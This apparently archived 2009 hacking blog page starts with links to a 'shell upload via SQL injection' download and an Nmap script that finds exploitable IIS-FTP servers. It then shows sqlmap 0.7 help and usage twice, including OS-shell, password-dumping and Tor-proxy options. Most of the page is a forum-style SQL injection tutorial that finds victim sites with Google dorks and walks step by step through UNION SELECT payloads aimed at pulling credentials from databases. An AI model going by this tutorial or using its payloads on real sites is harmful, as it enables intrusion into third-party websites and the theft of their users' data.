Uploading Shell Through SQL Injection [Into Outfile]
http://rapidshare.com/files/22917340/mysql_into_outfile.rar.html
http://rapidshare.de/files/46569137/mysql_into_outfile.zip.html
Pass: security-shell.ws
Tuesday, October 20, 2009
Friday, September 4, 2009
Detecting Vulnerable IIS-FTP Hosts Using Nmap
Based on an existing Nmap script, I quickly wrote a new one which performs the following actions:
* Check if anonymous sessions are allowed.
* Check if the detected FTP server is running Microsoft ftpd.
* Check if the MKDIR command is allowed (this seems to be required by the exploit)
If all those conditions are met, the script exits with a warning message. Note that my script will only report servers which could be vulnerable. On the other side, running a server with anonymous users able to create directories is a major security breach and must be fixed independently of the newly discovered vulnerability!
To use the Nmap script, copy it in your local script repositoty (something like /usr/local/share/nmap/scripts/) and rebuild your scripts index:
# nmap --script-updatedb
Then, the script will be executed against all detected FTP servers (using the “-Sc” argument) or you can specify only one script to be executed (for speed):
# nmap -p 21 -sV --script=IIS-FTP 10.0.0.7
Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST
Interesting ports on test-win (10.0.0.7):
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
Service Info: OS: Windows
The script is available here. Note that it is provided “as is”. it’s just a quick hack which worked for me.
Maybe you were not aware of the Nmap scripting capabilities. Feel free to read this small introduction to Nmap scripting.
Reference:
http://blog.rootshell.be/2009/09/01/detecting-vulnerable-iis-ftp-hosts-using-nmap/
* Check if anonymous sessions are allowed.
* Check if the detected FTP server is running Microsoft ftpd.
* Check if the MKDIR command is allowed (this seems to be required by the exploit)
If all those conditions are met, the script exits with a warning message. Note that my script will only report servers which could be vulnerable. On the other side, running a server with anonymous users able to create directories is a major security breach and must be fixed independently of the newly discovered vulnerability!
To use the Nmap script, copy it in your local script repositoty (something like /usr/local/share/nmap/scripts/) and rebuild your scripts index:
# nmap --script-updatedb
Then, the script will be executed against all detected FTP servers (using the “-Sc” argument) or you can specify only one script to be executed (for speed):
# nmap -p 21 -sV --script=IIS-FTP 10.0.0.7
Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST
Interesting ports on test-win (10.0.0.7):
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
Service Info: OS: Windows
The script is available here. Note that it is provided “as is”. it’s just a quick hack which worked for me.
Maybe you were not aware of the Nmap scripting capabilities. Feel free to read this small introduction to Nmap scripting.
Reference:
http://blog.rootshell.be/2009/09/01/detecting-vulnerable-iis-ftp-hosts-using-nmap/
Sunday, August 23, 2009
sqlmap 0.7
Consider that the target url is:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
Usage
$ python sqlmap.py -h
sqlmap/0.7
by Bernardo Damele A. G.
Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-5 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab logs
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (value Basic or Digest)
--auth-cred=ACRED HTTP Authentication credentials (value name:password)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and how to parse and compare HTTP
responses page content when using the blind SQL injection technique.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique
or to use one of them to exploit the affected parameter(s) rather than
using the default blind SQL injection technique.
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
the queries output. No need to go blind
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements.
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes (opt -U)
--privileges Enumerate DBMS users privileges (opt -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt -D)
--columns Enumerate DBMS database table columns (req -T opt -D)
--dump Dump DBMS database table entries (req -T, opt -D, -C)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
File system access:
These options can be used to access the back-end database management
system underlying file system.
--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
This option can be used to access the back-end database management
system underlying operating system.
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc User priv escalation by abusing Windows access tokens
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Miscellaneous:
--eta Display for each output the estimated time of arrival
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
5.1 Output verbosity
Option: -v
Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks, if they occur, will be shown. Level 2 shows also debug messages, level 3 shows also HTTP requests with all HTTP headers sent, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.
Example on a MySQL 5.0.67 target (verbosity level 1):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
[hh:mm:12] [INFO] testing connection to the target url
[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:14] [INFO] url is stable
[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:14] [INFO] GET parameter 'id' is dynamic
[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:14] [INFO] retrieved: 55
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 5
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
To run sqlmap on a single target URL.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Process Google dork results as target urls
Option: -g
It is also possible to test and inject on GET parameters on the results of your Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com ext:php:
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is http://url:port.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:3128"
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:8118"
Note that 8118 is the default Privoxy port, adapt it to your settings.
http://sqlmap.sourceforge.net/doc/README.html
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
Usage
$ python sqlmap.py -h
sqlmap/0.7
by Bernardo Damele A. G.
Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-5 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab logs
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--referer=REFERER HTTP Referer header
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (value Basic or Digest)
--auth-cred=ACRED HTTP Authentication credentials (value name:password)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and how to parse and compare HTTP
responses page content when using the blind SQL injection technique.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique
or to use one of them to exploit the affected parameter(s) rather than
using the default blind SQL injection technique.
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
the queries output. No need to go blind
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements.
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes (opt -U)
--privileges Enumerate DBMS users privileges (opt -U)
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables (opt -D)
--columns Enumerate DBMS database table columns (req -T opt -D)
--dump Dump DBMS database table entries (req -T, opt -D, -C)
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
File system access:
These options can be used to access the back-end database management
system underlying file system.
--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
This option can be used to access the back-end database management
system underlying operating system.
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc User priv escalation by abusing Windows access tokens
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Miscellaneous:
--eta Display for each output the estimated time of arrival
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
5.1 Output verbosity
Option: -v
Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks, if they occur, will be shown. Level 2 shows also debug messages, level 3 shows also HTTP requests with all HTTP headers sent, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.
Example on a MySQL 5.0.67 target (verbosity level 1):
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
[hh:mm:12] [INFO] testing connection to the target url
[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:14] [INFO] url is stable
[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:14] [INFO] GET parameter 'id' is dynamic
[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:14] [INFO] testing MySQL
[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
[hh:mm:14] [INFO] retrieved: 55
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
[hh:mm:14] [INFO] confirming MySQL
[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:14] [INFO] retrieved: 5
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
To run sqlmap on a single target URL.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
[...]
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Process Google dork results as target urls
Option: -g
It is also possible to test and inject on GET parameters on the results of your Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com ext:php:
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
HTTP proxy
Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is http://url:port.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:3128"
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
--proxy "http://192.168.1.47:8118"
Note that 8118 is the default Privoxy port, adapt it to your settings.
http://sqlmap.sourceforge.net/doc/README.html
Saturday, August 1, 2009
Thursday, July 23, 2009
Tuesday, July 14, 2009
rCom's SQLi Tutorial { reMix }
Contents At A Glance:
1. Introduction(Kinda Pointless)
2. Finding Vulnerable Sites.
3. Getting Number of Columns.
4. Getting MySQL Version.
5. Getting Database Names.
6. Getting Database User.
7. Getting Table Names.
8. Getting Column Names.
9. LIMIT, What is it and why do I need to know it?
10. End Notes
1. Introduction(Kinda Pointless)
First, if you find that I have written something that is wrong, please address it and I will fix it. There is one simple reason why I am writing this paper, mainly because there are so many simple SQL Injection questions that flood this board everyday and people just simple say things like “Learn to use the search function.â€, “Google is your friendâ€, or some other just completely non-helpful remarks. If you aren't going to help someone why reply at all? Just go on to another thread. That doesn't even bring up the number of private messages that I receive daily with questions related to SQL Injection, on a slow day I receive 1-2 private messages, on a normal day I will get up to 10 with questions about SQL, or even “What is your MSN/Yahoo/AIM/E-Mail, I need help.†Most of the time I do try to help as much as I can, but it does get old too. Well, enough ranting here goes.
2. Finding Vulnerable Sites
First you need to know what makes a site vulnerable to SQL Injection before you can find and vulnerable sites.
The most common reason that a site is vulnerable to SQL Injection attacks in because the owner/coder didn't use the built in MySQL feature 'mysql_real_escape_string()'. The purpose of this function is to sanitize or remove special characters from an SQL query. The most common side-effect is the simple Username/Password exploit ' or 1='1. Most website administrators today use this function along with stripslashes() or addslashes() to further sanitize the data.
Well since I gave you a very basic reason for why certain sites are vulnerable we will move onto finding some vulnerable sites to play with.
When talking about finding sites to inject you will hear the term “dork†a lot, what this refers to is a google search term targeted at finding vulnerable websites. A “google dork†uses the built in google functions inurl:, or allinurl: to search for websites that have certain strings in their URL or website address, an example of a google dork is: inurl:index.php?id=1, entering this string into the google search engine would return all of the sites in google's cache with the string index.php?id=1 in their URL, Ex: http://www.example.com/index.php?id=1
Here are some lists of “dorks†to use:
http://www.hackforums.net/showthread.php?tid=76925
http://www.hackforums.net/showthread.php?tid=71313
http://go-blog.web.id/?p=3
http://sql-injection-tools.blogspot.com/...hafiq.html
Now that we know what a google dork is we can start finding vulnerable sites. To be vulnerable the site has to have a GET parameter in the URL: index.php?id=1, id=1 being the GET parameter 'gets' the 1 'id' from the SQL database(Understand? Good.)
So you are going to go to http://www.google.com,http://www.blackle.com, or http://www.dogpile.com and search for your selected dork. When you get your list you can start checking for vulnerabilities. To do this the most common way is to add a back-tick after one of the integers in the URL
Example: http://www.example.com/index.php?id=1'
Now there are many ways for a site to show you that it is vulnerable the most common are errors:
You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
If you receive any of these errors when you enter the ' after the number then chances are the site is vulnerable to SQL Injection attacks to some extent, but that isn't the only way to see if a site is vulnerable, the biggest overlooked error is when a main part of the site just simply disappears, such as a news article or a body of text on the main site. If this happens then it is likely that the site is vulnerable also.
3. Getting Number of Columns
After you find your vulnerable site the first step you need to take is to find the number of columns in the table that is in use. There are a couple of ways that people do this, personally I use the ORDER BY statement, there is also GROUP BY which accomplishes the same thing, but it's just habit. A lot of people use the string AND 1=0 before their queries, most of the time this is just a waste of time to type this out, the only time you need this is if you try ORDER BY 300-- and you don't receive an error, then you would add the and 1=0 to your query.
To find number of columns you start with ORDER BY 1, if it doesn't error then you are good to go, sometimes you will get a syntax error when doing ORDER BY 1 that's why it is important to start there, if you get the syntax error your best bet is to move on to another site. If you don't get an error I always go to ORDER BY 300 to see if I will get an error there, sometimes you could go on for years and never get an error, there can't be 300 columns in the database so you should always get an error. After getting the error on 300 it is up to you how you want to find the number of columns, personally I jump around out of habit I usually do something like this:
Code:
http://www.example.com/index.php?id=1 ORDER BY 1--
no error
http://www.example.com/index.php?id=1 ORDER BY 300--
error
http://www.example.com/index.php?id=1 ORDER BY 10--
error
http://www.example.com/index.php?id=1 ORDER BY 5--
no error
http://www.example.com/index.php?id=1 ORDER BY 6--
error
After this you know that your website has 5 columns because it errors on everything above ORDER BY 5, and doesn't error on anything below ORDER BY 5.
Note on comments: Comments are not always necessary when injecting a website, although sometimes they are, by comments I am referring to the – at the end of the URL.
Possible comments to use are --, /*, /**/, or simply nothing at the end.
4. Getting MySQL Version
Now that we have the number of columns you are going to want to get the version of the database you are working on, this is an important step, because any version lower than 5 you will have to guess table names and column names. I don't recommend working on a database lower than version 5 for beginners, you should get aquanted with SQL Injection first. Before we can get the version you have to find a visible column number. This is where the Injection part really starts. To do this you will use a SELECT statement and the UNION statement. Most people don't understand that these are two completely different SQL statements, the reason you use UNION SELECT is because you are already SELECTing from the database when you are simply visiting the site.
For example: http://www.example.com/index.php?id=1
What this URL is telling the database is SELECT * FROM 'tablenamehere' WHERE id='1';
Now when we add out UNION into that URL we are adding two SQL statements together since our example website has 5 columns this is what our query would look like:
http://www.example.com/index.php?id=1+UNION+SELECT+1,2,3,4,5--
The website should return normal after doing this, if it doesn't and it tells you something like “Forbidden†or some other error, then the website doesn't support union statements and you need to move on. If it doesn't error then add a negative sign after the equals sign like this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,2,3,4,5--
There is a reason for this people, I've been asked many times why you do this, the reason is when you send this query to the database you are sending something like:
SELECT * FROM 'tablenamehere' WHERE id='-1' AND SELECT 1,2,3,4,5
There isn't a -1 in the id column so the database will return a blank section of the page, but since we have our other SELECT statement in there it will return numbers back in the data's place. Those are our visible columns. For our example we'll say we got back the numbers 2 and 3 so these are the numbers that we can retrieve data from. To get our database version there are two ways either @@version or version(). To use them do this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,@@version,3,4,5--
or
http://www.example.com/index.php?id=-1+UNION+SELECT+1,concat(version()),3,4,5--
If you get an error like “Illegal mix of coallations when using @@version you simple have to convert it to latin from UTF8 like so:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
NOTE: Notice that we completely replace the number 2 with our query, something like union select 1,concat(version()),2,3,4,5-- will not work.
Well if it worked you know now the version of the MySQL database in use you will see something like 5.0.13-log, or 4.0.0.1-delta, there are countless versions and types but all we need to focus on is the first number if it 5 then we are good to go, if it is 4 then if you are new you should move on.
5. Getting Database Names
I haven't seen this covered on any papers on SQL Injection so I will include it because it is an important part of SQL Injection. For novice SQL Injectors ever started to inject a website then find no useful data such as. usernames/passwords? Most likely because the current database in use for the site only holds data like news articles and the like. This is where getting the different database names is important. In version of MySQL higher than 5 there will always be a database named 'information_schema' and most of the time a database named 'test', neither of these hold data that you will need to know, but yet the information_schema database is the reason that injection v5+ databases is so easy.
To get list of databases do this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,group_concat(schema_name),3,4,5+ FROM+information_schema.schemata--
Now where you saw the database version pop up earlier you will see the names of all of the different databases we will say for our example we got back something like this:
information_schema,exampledb,exampledb2,test
If you want to know what the database in use right now do this:
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,concat(database()),3,4,5--
We'll say we got back 'exampledb'.
From now on it is a good idea to have a text editor open like notepad/gEdit to save this information for later use. I always have notepad open when I am injecting a site, with a template like this:
Databases:
Tables:
Columns:
So that I can quickly copy and paste in. In my opinion this is a good habit to get into.
6. Getting Database User
Not really necessary but good to know use user():
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,concat(user()),3,4,5--
7. Getting Table Names
I'm going to go a little more in-depth than most tutorials you'll see on the internet here because they aren't very thorough, most will just tell you how to get the tables of the current database but I am going to show you how to get table names from selected databases.
6. To get table names of current database:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables WHERE table_schema=database()--
You will see a list of table names come out, for our example we will say we got:
news, images, ads, links
Wow that looks useful huh? That is information we can get from just looking at the website, so now it's time to get tables from our other database we found earlier 'exampledb2' This is where your best friend the hex converter will come in handy. To get tables from selected databases you have to hex the name.
So we convert exampledb2 to 6578616d706c65646232. Always rember to add the 0x in front of the hexed name to tell the database that it is hex encoded and it need to decode it to get the right name. So our database name ends up being 0x6578616d706c65646232.
Online text-to-hex converters:
http://www.motobit.com/util/binary-file-...string.asp
http://www.string-functions.com/string-hex.aspx
http://home2.paulschou.net/tools/xlate/
Now for the query:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=0x6578616d706c65646232--
